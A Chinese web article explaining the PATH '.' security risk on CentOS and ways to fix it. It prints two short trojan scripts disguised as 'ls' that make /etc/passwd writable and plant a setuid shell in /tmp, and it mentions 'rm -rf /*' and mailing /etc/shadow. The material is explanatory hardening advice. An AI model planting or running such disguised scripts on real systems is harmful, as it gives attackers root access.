centos环境变量如何设置安全问题?

  .是代表当前目录。如果将这点写入root的环境变量,执行脚本时,你只需要打脚本的名字,系统就会在当前的目录下找该脚本并执行。

  例如,一个U盘插入电脑,你打了一个文件名字,系统就会执行U盘中的该文件,如果有木马程序,也会被执行,比如脚本中有rm -rf /* 这样的命令,你的系统就会被删除。

  设想一下,有一个人在一个他能写的目录下写了一个名为ls的可执行程序,程序会把/etc/shadow文件发送到某一邮箱,而root又恰巧在那个目录下,想ls下,结果是什么呢?

  所以,很多安全要求高的Unix系统甚至要求用绝对路径调用命令

  本文主要讲述“.”在LINUX的环境变量PATH中所带来的问题,及解决的几种方法。

  正如很多人所知道的$PATH环境变量里存着一张目录列表,当用户要执行某一程序时,系统就会按照列表中的内容去查找该程序的位置。当程序名前不带点斜线 . / 时$PATH就会起作用。

  对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这在本机进行脚本开发的程序员来说却不方便,想图省事的人就把点加到了搜索路径中,这就等于在你的系统埋下了险情。

  例如:root为了方便使用在他的当前路径末尾加了个点"."(搜索目录为代表当前目录)

  命令操作如下:

  [root@rh root]# PATH=$PATH:.

  [root@rh root]# echo $PATH

  /usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.

  这下是方便了,直接输入脚本名就能执行。OK,正常情况下一点问题没有,也省去了输入./foo.sh的烦恼(foo.sh是我假设的脚本文件名)。有的root把PATH=$PATH:.这条命令加到了profile里,使所有用户到分享你给他们带来的"福音"。更有胜者root用户竟然PATH=.:$PATH(将":"加到路径前是另一种形式)。正常请况下一点问题没有,直到有一天,张三用户在他的主目录下放了名为lls的脚本,并对root说他的系统出问题了希望root能帮他解决。(其实是一个trap)。Root一上来就su 成管理员权限,紧更着列了一下目录。有可能管理员误敲成了lls,结果哈哈。。。。

  以下是个简单的C shell 的例子

  #!/bin/csh

  If ( ! -o /bin/su )

  goto finish

  cp /bin/sh /tmp/.sh

  chmod 7777 /tmp/.sh

  finish :

  exec /bin/ls $argv | grep -v ls

  稍微变形就有个B shell的

  #!/bin/sh

  if chmod 666 /etc/passwd > /dev/null 2>&1 ;then

  cp /bin/sh /tmp/.sh

  chmod 4755 /tmp/.sh

  fi

  exec ls "$@"

  如果root将其环境变量$PATH包含了"."并且其位置先与ls所在的系统目录,那么当用户在/tmp中执行ls时,执行的是上面给出的脚本,而不是实际的ls命令,因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本,就会将口令文件设置为可写,并将shell复制到/tmp保存为.sh,同时设置其setuserid位,所有这一切都非常安静地发生。

  在以上这两个程序里,心怀不鬼的人能写入任何令root急的要跳楼的程序,部下陷阱等root来钻,也许root在不知不觉中施行了也根本不会察觉。 也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本,root可能一到他的机器前就输入了ps,此时系统会首先到当前目录下搜索,结果/sbin/ps却不被执行。类似这样的小花招还有很多。

  管理员同志,不要太紧张,下面我说说解决办法。

  首先,要养成输绝对路径的良好命令行输入习惯,这样就不会让"不法份子"乘虚而入了。比如,列目录最好用/bin/ls来列目录,不要图方便而冒然输入ls。

  其次,根用户(root)不要把"."包括到搜索目录列表里,而普通用户如果个"."包括到搜索列表中的话别,则"."就应当放在搜索目录列表的最后位置上。这样一来普通用户不会受到前面所述的那种危害。

  最后,可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行

  [PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `

  这个简单的sed命令将删除路径里所有的"."包括其另一形式"::"

  还可以由crontab调用定期执行

  #find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt

(0)

相关推荐

  • WindowsXP环境变量怎么设置

    环境变量包含了一个或者多个应用程序将会使用到的信息,当要求系统运行一个程序而没有告诉它程序所在的完整路径时,系统除了在当前目录下面寻找此程序外,还应到path中指定的路径去找.用户通过设置环境变量,来 ...

  • eclipse Java环境变量的设置

    初步学习Java的学者,安装eclipse软件是首要的,安装软件之前环境变量的设置是必要的. 操作方法 01 这里以Win10为例. 首先下载或拷贝安装包: 先安装好jdk,然后 在开始的搜索框里搜索 ...

  • linux环境变量如何设置

    linux系统是多用户的任务系统,对于每个用户都可以指定特定的用户变量.针对不同程序在不同的环境下运行就需要修改环境变量进行定制,本以linux发行版centos为例演示常见的变量设置方法. linu ...

  • 电脑consul环境变量怎么设置和使用

    环境变量也是我们系统属性中的一项重要的变量,接下来小编就教大家怎样进行环境变量的配置和使用.具体如下:1.首先打开电脑进入到桌面,然后找到我的电脑图标鼠标右击,在打开的菜单中选择属性选项. 然后我们会 ...

  • win10环境变量怎么设置?在Windows 10中创建环境变量的3种方法(详细)

    设置环境变量是编程过程中经常需要做的事情,这里我们来讨论如何在Windows 10中创建环境变量.Windows中的环境变量是包含有关系统环境和当前登录用户信息的值.除了Windows之外,环境变量也 ...

  • 环境变量哪里设置?

    环境变量在软件开发过程中需要碰到,比如java程序设计,在安装开发工具的时候需要添加环境变量然后使得编写的程序得于运行. 操作方法 01 首先在我的电脑点击右键,选择属性选项: 02 然后点击高级系统 ...

  • adb环境变量如何设置

    大家在电脑上或手机上,在安装adb工具的时候,电脑或手机会提醒adb不是内部或外部命令的消息.那么该如何解决这个问题呢?如何来设置环境变量呢?现在小编在win7下来介绍. 操作方法 01 首先找到我的 ...

  • python的环境变量怎么设置

    零基础学习python最大的难题之一就是安装所有需要的软件,比如今天要介绍的requests,对于新手很不友好,下面我会按照流程一步步介绍 操作方法 01 首先确认python和pycharm都安装好 ...

  • centos 如何设置环境变量

    环境变量可理解为linux shell下的全局变量,在当前shell或者子shell中的可见需要区别对待,Linux下设置环境变量方法很多,本文将着重描述CentOS下如何设置环境变量. 操作方法 0 ...